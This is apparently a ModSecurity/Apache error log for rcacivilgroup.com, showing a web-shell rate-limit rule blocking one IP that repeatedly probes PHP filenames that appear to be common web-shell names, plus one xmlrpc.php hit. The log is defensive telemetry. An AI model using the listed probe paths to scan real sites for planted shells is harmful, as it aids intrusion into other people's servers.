[Sat Apr 11 04:17:33.891212 2026] [:error] [pid 33173:tid 33263] [client 4.245.205.135:20826] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/term.php"] [unique_id "adla3a8109xRDP2izWiI5AAAAJI"]
[Sat Apr 11 04:17:34.562730 2026] [:error] [pid 33288:tid 33309] [client 4.245.205.135:18103] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/term.php"] [unique_id "adla3mJmwJFFPEgRHfHOiQAAANM"]
[Sat Apr 11 04:17:35.177452 2026] [:error] [pid 33173:tid 33267] [client 4.245.205.135:33026] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jp.php"] [unique_id "adla368109xRDP2izWiI6wAAAJY"]
[Sat Apr 11 04:17:35.868552 2026] [:error] [pid 33288:tid 33314] [client 4.245.205.135:23118] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jp.php"] [unique_id "adla32JmwJFFPEgRHfHOjAAAANg"]
[Sat Apr 11 04:17:36.463996 2026] [:error] [pid 33173:tid 33254] [client 4.245.205.135:43559] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jp.php"] [unique_id "adla4K8109xRDP2izWiI8QAAAIk"]
[Sat Apr 11 04:17:36.979372 2026] [:error] [pid 33288:tid 33293] [client 4.245.205.135:14000] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jp.php"] [unique_id "adla4GJmwJFFPEgRHfHOkgAAAMM"]
[Sat Apr 11 04:17:37.608340 2026] [:error] [pid 33288:tid 33300] [client 4.245.205.135:55288] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Ov-Simple1.php"] [unique_id "adla4WJmwJFFPEgRHfHOmQAAAMo"]
[Sat Apr 11 04:17:38.276584 2026] [:error] [pid 33172:tid 33232] [client 4.245.205.135:54177] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Ov-Simple1.php"] [unique_id "adla4jn2G0IJw5EZY9n9DwAAAE4"]
[Sat Apr 11 04:17:39.004133 2026] [:error] [pid 33288:tid 33308] [client 4.245.205.135:15289] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Ov-Simple1.php"] [unique_id "adla42JmwJFFPEgRHfHOpAAAANI"]
[Sat Apr 11 04:17:39.679701 2026] [:error] [pid 33172:tid 33242] [client 4.245.205.135:2488] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Ov-Simple1.php"] [unique_id "adla4zn2G0IJw5EZY9n9EQAAAFg"]
[Sat Apr 11 04:17:40.193426 2026] [:error] [pid 33173:tid 33252] [client 4.245.205.135:13953] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dass.php"] [unique_id "adla5K8109xRDP2izWiI9AAAAIc"]
[Sat Apr 11 04:17:40.963292 2026] [:error] [pid 33171:tid 33189] [client 4.245.205.135:16280] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dass.php"] [unique_id "adla5LoqTMlo30hcVw8l9wAAAAM"]
[Sat Apr 11 04:17:41.830411 2026] [:error] [pid 33288:tid 33300] [client 4.245.205.135:2491] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dass.php"] [unique_id "adla5WJmwJFFPEgRHfHOsQAAAMo"]
[Sat Apr 11 04:17:42.465194 2026] [:error] [pid 33173:tid 33250] [client 4.245.205.135:48535] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dass.php"] [unique_id "adla5q8109xRDP2izWiI-AAAAIU"]
[Sat Apr 11 04:17:43.099338 2026] [:error] [pid 33288:tid 33312] [client 4.245.205.135:22776] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "adla52JmwJFFPEgRHfHOswAAANY"]
[Sat Apr 11 04:17:43.695912 2026] [:error] [pid 33171:tid 33203] [client 4.245.205.135:55277] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "adla57oqTMlo30hcVw8l_gAAABE"]
[Sat Apr 11 04:17:44.398058 2026] [:error] [pid 33172:tid 33233] [client 4.245.205.135:43554] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "adla6Dn2G0IJw5EZY9n9HAAAAE8"]
[Sat Apr 11 04:17:45.009288 2026] [:error] [pid 33171:tid 33198] [client 4.245.205.135:17645] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "adla6boqTMlo30hcVw8mAwAAAAw"]
[Sat Apr 11 04:17:45.622527 2026] [:error] [pid 33173:tid 33254] [client 4.245.205.135:14020] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ta0ol.php"] [unique_id "adla6a8109xRDP2izWiI_AAAAIk"]
[Sat Apr 11 04:17:46.171092 2026] [:error] [pid 33171:tid 33203] [client 4.245.205.135:14014] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ta0ol.php"] [unique_id "adla6roqTMlo30hcVw8mDAAAABE"]
[Sat Apr 11 04:17:47.103351 2026] [:error] [pid 33288:tid 33313] [client 4.245.205.135:14053] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ta0ol.php"] [unique_id "adla62JmwJFFPEgRHfHOvQAAANc"]
[Sat Apr 11 04:17:47.699336 2026] [:error] [pid 33172:tid 33227] [client 4.245.205.135:26168] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ta0ol.php"] [unique_id "adla6zn2G0IJw5EZY9n9IwAAAEk"]
[Sat Apr 11 04:17:48.404851 2026] [:error] [pid 33172:tid 33222] [client 4.245.205.135:22739] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-png.php"] [unique_id "adla7Dn2G0IJw5EZY9n9JQAAAEQ"]
[Sat Apr 11 04:17:49.044467 2026] [:error] [pid 33172:tid 33225] [client 4.245.205.135:19632] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-png.php"] [unique_id "adla7Tn2G0IJw5EZY9n9KwAAAEc"]
[Sat Apr 11 04:17:49.848992 2026] [:error] [pid 33288:tid 33295] [client 4.245.205.135:26165] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-png.php"] [unique_id "adla7WJmwJFFPEgRHfHOwQAAAMU"]
[Sat Apr 11 04:17:50.614746 2026] [:error] [pid 33173:tid 33258] [client 4.245.205.135:19605] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-png.php"] [unique_id "adla7q8109xRDP2izWiJCQAAAI0"]
[Sat Apr 11 04:17:51.211986 2026] [:error] [pid 33171:tid 33196] [client 4.245.205.135:18050] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tfm.php"] [unique_id "adla77oqTMlo30hcVw8mGAAAAAo"]
[Sat Apr 11 04:17:51.842136 2026] [:error] [pid 33171:tid 33189] [client 4.245.205.135:17034] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tfm.php"] [unique_id "adla77oqTMlo30hcVw8mGgAAAAM"]
[Sat Apr 11 04:17:52.691249 2026] [:error] [pid 33173:tid 33265] [client 85.128.143.134:56042] [client 85.128.143.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adla8K8109xRDP2izWiJEAAAAJQ"]
[Sat Apr 11 04:18:08.007418 2026] [:error] [pid 33173:tid 33250] [client 4.245.205.135:2570] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "adlbAK8109xRDP2izWiJmwAAAIU"]
[Sat Apr 11 04:18:08.681345 2026] [:error] [pid 33173:tid 33255] [client 4.245.205.135:2986] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "adlbAK8109xRDP2izWiJnwAAAIo"]
[Sat Apr 11 04:18:09.345046 2026] [:error] [pid 33172:tid 33218] [client 4.245.205.135:23164] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "adlbATn2G0IJw5EZY9n9TwAAAEA"]
[Sat Apr 11 04:18:09.938599 2026] [:error] [pid 33173:tid 33254] [client 4.245.205.135:23127] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "adlbAa8109xRDP2izWiJpgAAAIk"]
[Sat Apr 11 04:18:10.549441 2026] [:error] [pid 33288:tid 33310] [client 4.245.205.135:48574] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adlbAmJmwJFFPEgRHfHPcwAAANQ"]
[Sat Apr 11 04:18:11.103710 2026] [:error] [pid 33171:tid 33189] [client 4.245.205.135:14525] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adlbA7oqTMlo30hcVw8mNwAAAAM"]
[Sat Apr 11 04:18:12.025530 2026] [:error] [pid 33171:tid 33204] [client 4.245.205.135:22742] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adlbBLoqTMlo30hcVw8mOAAAABI"]
[Sat Apr 11 04:18:12.604385 2026] [:error] [pid 33288:tid 33290] [client 4.245.205.135:48563] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adlbBGJmwJFFPEgRHfHPeAAAAMA"]
[Sat Apr 11 04:18:13.331207 2026] [:error] [pid 33171:tid 33193] [client 4.245.205.135:28450] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Cap.php"] [unique_id "adlbBboqTMlo30hcVw8mOwAAAAc"]
[Sat Apr 11 04:18:13.931145 2026] [:error] [pid 33171:tid 33197] [client 4.245.205.135:24618] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Cap.php"] [unique_id "adlbBboqTMlo30hcVw8mPQAAAAs"]
[Sat Apr 11 04:18:14.647058 2026] [:error] [pid 33288:tid 33311] [client 4.245.205.135:22781] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Cap.php"] [unique_id "adlbBmJmwJFFPEgRHfHPgQAAANU"]
[Sat Apr 11 04:18:15.435341 2026] [:error] [pid 33171:tid 33204] [client 4.245.205.135:14064] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Cap.php"] [unique_id "adlbB7oqTMlo30hcVw8mRQAAABI"]
[Sat Apr 11 04:18:16.003365 2026] [:error] [pid 33172:tid 33220] [client 4.245.205.135:28528] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adlbCDn2G0IJw5EZY9n9WwAAAEI"]
[Sat Apr 11 04:18:16.562808 2026] [:error] [pid 33172:tid 33223] [client 4.245.205.135:14475] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adlbCDn2G0IJw5EZY9n9YAAAAEU"]
[Sat Apr 11 04:18:17.228556 2026] [:error] [pid 33171:tid 33186] [client 4.245.205.135:16380] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adlbCboqTMlo30hcVw8mRgAAAAA"]
[Sat Apr 11 04:18:17.863097 2026] [:error] [pid 33171:tid 33206] [client 4.245.205.135:17068] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adlbCboqTMlo30hcVw8mSwAAABQ"]
[Sat Apr 11 04:18:18.498529 2026] [:error] [pid 33173:tid 33248] [client 4.245.205.135:17062] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/torsa1.php"] [unique_id "adlbCq8109xRDP2izWiJswAAAIM"]
[Sat Apr 11 04:18:19.306958 2026] [:error] [pid 33288:tid 33298] [client 4.245.205.135:28051] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/torsa1.php"] [unique_id "adlbC2JmwJFFPEgRHfHPtAAAAMg"]
[Sat Apr 11 04:18:20.075975 2026] [:error] [pid 33288:tid 33296] [client 4.245.205.135:23105] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/torsa1.php"] [unique_id "adlbDGJmwJFFPEgRHfHP2QAAAMY"]
[Sat Apr 11 04:18:20.639799 2026] [:error] [pid 33171:tid 33204] [client 4.245.205.135:22725] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/torsa1.php"] [unique_id "adlbDLoqTMlo30hcVw8mTgAAABI"]
[Sat Apr 11 04:18:21.271459 2026] [:error] [pid 33172:tid 33226] [client 4.245.205.135:14513] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sadcut1.php"] [unique_id "adlbDTn2G0IJw5EZY9n9ZwAAAEg"]
[Sat Apr 11 04:18:22.326834 2026] [:error] [pid 33288:tid 33290] [client 4.245.205.135:50505] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sadcut1.php"] [unique_id "adlbDmJmwJFFPEgRHfHP6gAAAMA"]
[Sat Apr 11 04:18:22.969937 2026] [:error] [pid 33173:tid 33253] [client 4.245.205.135:29242] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sadcut1.php"] [unique_id "adlbDq8109xRDP2izWiJuwAAAIg"]
[Sat Apr 11 04:18:23.562010 2026] [:error] [pid 33173:tid 33247] [client 4.245.205.135:14466] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sadcut1.php"] [unique_id "adlbD68109xRDP2izWiJvgAAAII"]
[Sat Apr 11 04:18:24.073022 2026] [:error] [pid 33173:tid 33248] [client 4.245.205.135:16330] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoper1.php"] [unique_id "adlbEK8109xRDP2izWiJwwAAAIM"]
[Sat Apr 11 04:18:24.812868 2026] [:error] [pid 33288:tid 33301] [client 4.245.205.135:22703] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoper1.php"] [unique_id "adlbEGJmwJFFPEgRHfHP8wAAAMs"]
[Sat Apr 11 04:18:25.468436 2026] [:error] [pid 33171:tid 33190] [client 4.245.205.135:22313] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoper1.php"] [unique_id "adlbEboqTMlo30hcVw8mWAAAAAQ"]
